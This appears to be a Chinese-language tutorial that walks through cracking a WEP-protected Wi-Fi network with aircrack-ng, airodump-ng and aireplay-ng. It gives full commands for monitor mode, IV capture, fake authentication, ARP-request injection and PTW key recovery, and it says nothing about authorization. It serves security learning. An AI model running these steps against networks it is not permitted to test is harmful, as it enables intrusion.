WEP加密破解
一． 接入无线网卡
点击可移动设备，选择连接我们的无线网卡设备。
二、开启无线网卡，在特定的AP频道开启监控模式
是将网卡开启成monitor模式. monitor模式可以使网卡监听任何一个数据包. 正常情况下, 我们只能接收到发送给我们的数据包, 但是通过monitor模式, 我们就可以从所有的数据包中选择一些用来后续的注入.
输入ifconfig，查看自己的网卡接口，一般是wlan0
输入命令 airmon-ng start wlan0
有进程影响网卡启动输入airmon-ng check kill 杀死进程
重新开启网卡，显示有monitor模式
三、使用airodump-ng wlan0
查看有哪些采用wep加密的AP在线，然后按 ctrl+c 可以退出。注意，wep加密的才行，同时还能看到bssid（网卡地址）和ch（频道）
airodump-ng wlan0
四、使用airodump-ng收集IVs
这一步的目的是捕捉产生的IVs, 打开另一个控制台,
输入:airodump-ng -c 3 --bssid 00:26:5A:C5:EB:A8 -w wep wlan0
其中:
• -c是无线网络的频道（第三步标注出来的哪一行的ch信道数字为3）
• –bssid 00:26:5A:C5:EB:A8是无线接入点的MAC地址.（第三步里面的bssid与这里相同）
• -w后跟文件名的前缀, 该文件会包含IVs
• wlan0是接口名称
五、使用aireplay-ng伪装同接入点建立联系
这里需要无线网卡mac地址，重新打开一个控制台输入
ip link show
为了使接入点能接收到数据包, 源MAC地址必须和接入点先建立联系. 如果你进行注入时使用的MAC地址没有和接入点建立联系, 那么新的IVs就不能产生, 因为接入点会忽略所有注入的数据包. 这是注入失败最大可能的原因. 要建立联系要么通过已经有联系的客户端, 要么使用伪装的认证.通过伪装建立联系, 输入:
aireplay-ng -1 0 -e Dlink -a 00:26:5A:C5:EB:A8 -h 00:e1:00:87:14:06 wlan0
其中:
• -1表示伪装
• 0以秒计时
• -e Dlink是无线网络名称
• -a 00:26:5A:C5:EB:A8 是接入点的MAC地址
• -h 00:e1:00:87:14:06 是网卡的MAC地址
• wlan0 是无线接口名称
输入之后出现红框中的语句才算成功
六、测试网卡的注入能力
这一步的目的是确保无线网卡在接入点的范围内, 以便可以进行数据包的注入. 输入命令:
aireplay-ng -9 wlan0
其中
• -9表示注入测试
• wlan0是无线接口的名称七、使用aireplay-ng的ARP模式注入数据包
这一步的目的是使用aireplay-ng监听ARP请求然后再将数据包注入到网络. 选择ARP请求是因为接入点会广播它们并产生新的IV. 所以, 着就达到了我们需要段时间内获得大量IVs的目的.
打开另一个控制台输入命令:
aireplay-ng -3 -b 00:26:5A:C5:EB:A8 -h 00:e1:00:87:14:06 wlan0
• -3 ARP-request 注入攻击模式
• -b 00:26:5A:C5:EB:A8 是接入点的MAC地址
• -h 00:e1:00:87:14:06 是网卡的MAC地址
注意读取和发送的数据包都要有，否则就是步骤过程有问题。
八、用aircrack-ng破解IVs获得密码
这一步的目的是根据前面获得的IVs破解除出密码…打开另一个会话窗口,输入命令:
aircrack-ng -z wep.cap
因为RC4流密码利用IVs获得密码的时候，都是以两位两位的方式进行破解校对的，所以最后显示出来的密码是以两位两位展示，中间用冒号隔开。
结果如下图
其中:
• -z 调用 PTW WEP 破解方法
• awep.cap 表示以wep为前缀,以cap为后缀的文件（第四步里执行命令的时候告诉了保存文件的名字）
